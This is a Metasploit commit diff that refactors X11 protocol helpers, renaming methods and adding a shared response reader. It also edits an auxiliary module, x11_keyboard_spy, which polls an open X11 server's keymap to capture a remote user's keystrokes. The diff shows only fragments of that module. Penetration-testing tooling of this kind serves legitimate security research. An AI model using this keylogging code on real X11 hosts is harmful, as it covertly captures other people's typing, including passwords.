Skip to content

Commit e0a39b5

Browse files
authored
Merge pull request #26 from smcintyre-r7/pr/collab/18877
Refactor some X11 code around
2 parents 4ff3897 + cd4899d commit e0a39b5

File tree

9 files changed

+73
-77
lines changed

9 files changed

+73
-77
lines changed

lib/msf/core/exploit/remote/x11.rb

+1
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,5 @@
33
module Msf::Exploit::Remote::X11
44
include Msf::Exploit::Remote::X11::Connect
55
include Msf::Exploit::Remote::X11::Extension
6+
include Msf::Exploit::Remote::X11::Read
67
end

lib/msf/core/exploit/remote/x11/connect.rb

+1-1
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ def x11_connect
3636

3737
# print out the information for an x11 connection which was
3838
# successfully established
39-
def print_connection_info(connection, ip, port)
39+
def x11_print_connection_info(connection, ip, port)
4040
print_good("#{ip} - Successfully established X11 connection")
4141
vprint_status(" Vendor: #{connection.body.vendor}")
4242
vprint_status(" Version: #{connection.header.protocol_version_major}.#{connection.header.protocol_version_minor}")

lib/msf/core/exploit/remote/x11/extension.rb

+5-22
Original file line numberDiff line numberDiff line change
@@ -7,41 +7,24 @@
77
#
88

99
module Msf::Exploit::Remote::X11::Extension
10+
include Msf::Exploit::Remote::X11::Read
1011
include Rex::Proto::X11::Extension
1112

1213
# Query for an extension, converts the name of the extension to the ID #
13-
def query_extension(extension_name, call_count)
14+
def x11_query_extension(extension_name, call_count)
1415
sock.put(X11QueryExtensionRequest.new(extension: extension_name, unused2: call_count).to_binary_s)
15-
packet = ''
16-
result = nil
17-
begin
18-
packet = sock.timed_read(X11QueryExtensionResponse.new.num_bytes)
19-
# for debugging, print the following line
20-
# puts packet.bytes.map { |b| '\\x' + b.to_s(16).rjust(2, '0') }.join
21-
result = X11QueryExtensionResponse.read(packet)
22-
rescue StandardError => e
23-
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
24-
end
25-
result
16+
x11_read_response(X11QueryExtensionResponse)
2617
end
2718

2819
# toggles an extension on or off (enable/disable)
29-
def toggle_extension(extension_id, wanted_major: 0, toggle: true)
20+
def x11_toggle_extension(extension_id, wanted_major: 0, toggle: true)
3021
sock.put(
3122
X11ExtensionToggleRequest.new(
3223
opcode: extension_id,
3324
toggle: (toggle ? 0 : 1), # 0 is enable, 1 is disable
3425
wanted_major: wanted_major
3526
).to_binary_s
3627
)
37-
packet = ''
38-
result = nil
39-
begin
40-
packet = sock.timed_read(X11ExtensionToggleReply.new.num_bytes)
41-
result = X11ExtensionToggleReply.read(packet)
42-
rescue StandardError => e
43-
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
44-
end
45-
result
28+
x11_read_response(X11ExtensionToggleResponse)
4629
end
4730
end
+46
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::Exploit::Remote::X11::Read
4+
def x11_read_response(klass, timeout: 10)
5+
unless klass.fields.field_name?(:response_length)
6+
raise ::ArgumentError, 'X11 class must have the response_length field to be read'
7+
end
8+
9+
remaining = timeout
10+
reply_instance = klass.new
11+
12+
metalength = reply_instance.response_length.num_bytes
13+
buffer, elapsed_time = Rex::Stopwatch.elapsed_time do
14+
sock.read(reply_instance.response_length.abs_offset + metalength, remaining)
15+
end
16+
raise ::EOFError, 'X11: failed to read response' if buffer.nil?
17+
18+
remaining -= elapsed_time
19+
20+
# see: https://www.x.org/releases/X11R7.7/doc/xproto/x11protocol.html#request_format
21+
response_length = reply_instance.response_length.read(buffer[-metalength..]).value
22+
response_length *= 4 # field is in 4-byte units
23+
response_length += 32 # 32 byte header is not included
24+
25+
while buffer.length < response_length && remaining > 0
26+
chunk, elapsed_time = Rex::Stopwatch.elapsed_time do
27+
sock.read(response_length - buffer.length, remaining)
28+
end
29+
30+
remaining -= elapsed_time
31+
break if chunk.nil?
32+
33+
buffer << chunk
34+
end
35+
36+
unless buffer.length == response_length
37+
if remaining <= 0
38+
raise Rex::TimeoutError, 'X11: failed to read response due to timeout'
39+
end
40+
41+
raise ::EOFError, 'X11: failed to read response'
42+
end
43+
44+
reply_instance.read(buffer)
45+
end
46+
end

lib/rex/proto/x11.rb

+2-13
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ class X11Error < BinData::Record
2626
end
2727

2828
# https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
29-
class X11GetPropertyResponseHeader < BinData::Record
29+
class X11GetPropertyResponse < BinData::Record
3030
endian :little
3131
uint8 :reply
3232
uint8 :format
@@ -35,21 +35,10 @@ class X11GetPropertyResponseHeader < BinData::Record
3535
uint32 :get_property_type # 8bit boolean, \x01 == true \x00 == false
3636
uint32 :bytes_after
3737
uint32 :value_length
38-
uint32 :pad0
39-
uint32 :pad1
40-
uint32 :pad2
41-
end
42-
43-
# https://xcb.freedesktop.org/manual/structxcb__get__property__reply__t.html
44-
class X11GetPropertyResponseData < BinData::Record
38+
uint8_array :pad0, initial_length: 12
4539
rest :value_data
4640
end
4741

48-
class X11GetPropertyResponse < BinData::Record
49-
x11_get_property_response_header :header
50-
x11_get_property_response_data :data
51-
end
52-
5342
# https://xcb.freedesktop.org/manual/structxcb__intern__atom__reply__t.html
5443
class X11InternAtomResponse < BinData::Record
5544
endian :little

lib/rex/proto/x11/extension.rb

+3-11
Original file line numberDiff line numberDiff line change
@@ -18,10 +18,6 @@ class X11QueryExtensionResponse < BinData::Record
1818
uint8 :major_opcode # this is the ID of the extension
1919
uint8 :first_event
2020
uint8 :first_error
21-
# 64 + 64 + 32 padding 'undecoded' in wireshark
22-
uint64 :pad1
23-
uint64 :pad2
24-
uint32 :pad3
2521
end
2622

2723
# https://xcb.freedesktop.org/manual/structxcb__query__extension__request__t.html
@@ -50,16 +46,12 @@ def versions?
5046
end
5147

5248
# built based on Wireshark processor
53-
class X11ExtensionToggleReply < BinData::Record
49+
class X11ExtensionToggleResponse < BinData::Record
5450
endian :little
5551
uint8 :reply
5652
uint8 :pad0
57-
uint16 :reply_sequence_number
58-
uint32 :reply_length
53+
uint16 :sequence_number
54+
uint32 :response_length
5955
uint32 :maximum_request_length
60-
# 64 + 64 + 32 padding 'undecoded' in wireshark
61-
uint64 :pad1
62-
uint64 :pad2
63-
uint32 :pad3
6456
end
6557
end

lib/rex/proto/x11/xkeyboard.rb

+3-5
Original file line numberDiff line numberDiff line change
@@ -150,7 +150,7 @@ class X11GetMapRequest < BinData::Record
150150
end
151151

152152
# https://xcb.freedesktop.org/manual/structxcb__xkb__get__map__reply__t.html
153-
class X11GetMapReply < BinData::Record
153+
class X11GetMapResponse < BinData::Record
154154
endian :little
155155
uint8 :reply
156156
uint8 :device_id
@@ -351,16 +351,14 @@ class X11QueryKeyMapRequest < BinData::Record
351351
end
352352

353353
# https://xcb.freedesktop.org/manual/structxcb__query__keymap__reply__t.html
354-
class X11QueryKeyMapReply < BinData::Record
354+
class X11QueryKeyMapResponse < BinData::Record
355355
endian :little
356356
uint8 :reply
357357
uint8 :pad
358358
uint16 :sequence_number
359359
uint32 :response_length
360360
# byte sequence
361-
array :data,
362-
type: :uint8,
363-
read_until: :eof
361+
uint8_array :data, initial_length: 32
364362
end
365363

366364
# https://xcb.freedesktop.org/manual/structxcb__xkb__bell__request__t.html

modules/auxiliary/gather/x11_keyboard_spy.rb

+11-24
Original file line numberDiff line numberDiff line change
@@ -145,13 +145,13 @@ def run
145145
fail_with(Msf::Module::Failure::UnexpectedReply, 'Port connected, but no response to X11 connection attempt') if connection.nil?
146146

147147
if connection.header.success == 1
148-
print_connection_info(connection, datastore['RHOST'], rport)
148+
x11_print_connection_info(connection, datastore['RHOST'], rport)
149149
else
150150
fail_with(Msf::Module::Failure::UnexpectedReply, 'X11 connection not successful')
151151
end
152152

153153
vprint_status('[2/9] Checking on BIG-REQUESTS extension')
154-
big_requests_plugin = query_extension('BIG-REQUESTS', query_extension_call_counter)
154+
big_requests_plugin = x11_query_extension('BIG-REQUESTS', query_extension_call_counter)
155155
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if big_requests_plugin.nil?
156156
if big_requests_plugin.present == 1
157157
print_good(" Extension BIG-REQUESTS is present with id #{big_requests_plugin.major_opcode}")
@@ -160,7 +160,7 @@ def run
160160
end
161161

162162
vprint_status('[3/9] Enabling BIG-REQUESTS')
163-
toggle = toggle_extension(big_requests_plugin.major_opcode)
163+
toggle = x11_toggle_extension(big_requests_plugin.major_opcode)
164164
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
165165

166166
vprint_status('[4/9] Creating new graphical context')
@@ -181,18 +181,10 @@ def run
181181

182182
# nothing valuable in the response, just make sure we read it in to
183183
# confirm its expected data and not leave the response on the socket
184-
begin
185-
packet = sock.timed_read(X11GetPropertyResponseHeader.new.num_bytes)
186-
packet_header = X11GetPropertyResponseHeader.read(packet)
187-
188-
packet = sock.timed_read(packet_header.value_length * 4)
189-
X11GetPropertyResponseData.read(packet)
190-
rescue StandardError => e
191-
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
192-
end
184+
x11_read_response(X11GetPropertyResponse)
193185

194186
vprint_status('[5/9] Checking on XKEYBOARD extension')
195-
xkeyboard_plugin = query_extension('XKEYBOARD', query_extension_call_counter)
187+
xkeyboard_plugin = x11_query_extension('XKEYBOARD', query_extension_call_counter)
196188
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to process response') if xkeyboard_plugin.nil?
197189
if xkeyboard_plugin.present == 1
198190
print_good(" Extension XKEYBOARD is present with id #{xkeyboard_plugin.major_opcode}")
@@ -201,23 +193,16 @@ def run
201193
end
202194

203195
vprint_status('[6/9] Enabling XKEYBOARD')
204-
toggle = toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
196+
toggle = x11_toggle_extension(xkeyboard_plugin.major_opcode, wanted_major: 1)
205197
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unable to enable extension') if toggle.nil?
206198

207199
vprint_status('[7/9] Requesting XKEYBOARD map')
208200
sock.put(X11GetMapRequest.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
209201
full_key_types: 1,
210202
full_key_syms: 1,
211203
full_modifier_map: 1).to_binary_s)
212-
map_raw_data = sock.get_once(-1, 1)
213-
# for debugging packet output, uncomment following line
214-
# puts data.bytes.map { |b| "\\x" + b.to_s(16).rjust(2, '0') }.join
215-
begin
216-
map_data = X11GetMapReply.read(map_raw_data)
217-
rescue EOFError
218-
debug_data = map_raw_data.bytes.map { |b| '\\x' + b.to_s(16).rjust(2, '0') }.join
219-
fail_with(Msf::Module::Failure::UnexpectedReply, "Unable to process X11GetMapReply response (EOFError): #{debug_data}")
220-
end
204+
205+
map_data = x11_read_response(X11GetMapResponse)
221206

222207
vprint_status('[8/9] Enabling notification on keyboard and map')
223208
sock.put(X11SelectEvents.new(xkeyboard_id: xkeyboard_plugin.major_opcode,
@@ -247,10 +232,12 @@ def run
247232
printerval = datastore['PRINTERVAL'].to_i
248233
begin
249234
loop do
235+
# sleep 1
250236
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC))
251237

252238
sock.put(X11QueryKeyMapRequest.new.to_binary_s)
253-
bit_array_of_keystrokes = X11QueryKeyMapReply.read(sock.get_once(-1, 1)).data
239+
query_key_map_response = x11_read_response(X11QueryKeyMapResponse)
240+
bit_array_of_keystrokes = query_key_map_response.data
254241
# we poll FAR quicker than a normal key press, so we need to filter repeats
255242
unless bit_array_of_keystrokes == last_key_press_array # skip repeats
256243
translate_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty

modules/auxiliary/scanner/x11/open_x11.rb

+1-1
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ def run_host(ip)
5050
end
5151

5252
if connection.header.success == 1
53-
print_connection_info(connection, ip, rport)
53+
x11_print_connection_info(connection, ip, rport)
5454
report_service(
5555
host: rhost,
5656
proto: 'tcp',

0 commit comments

Comments
 (0)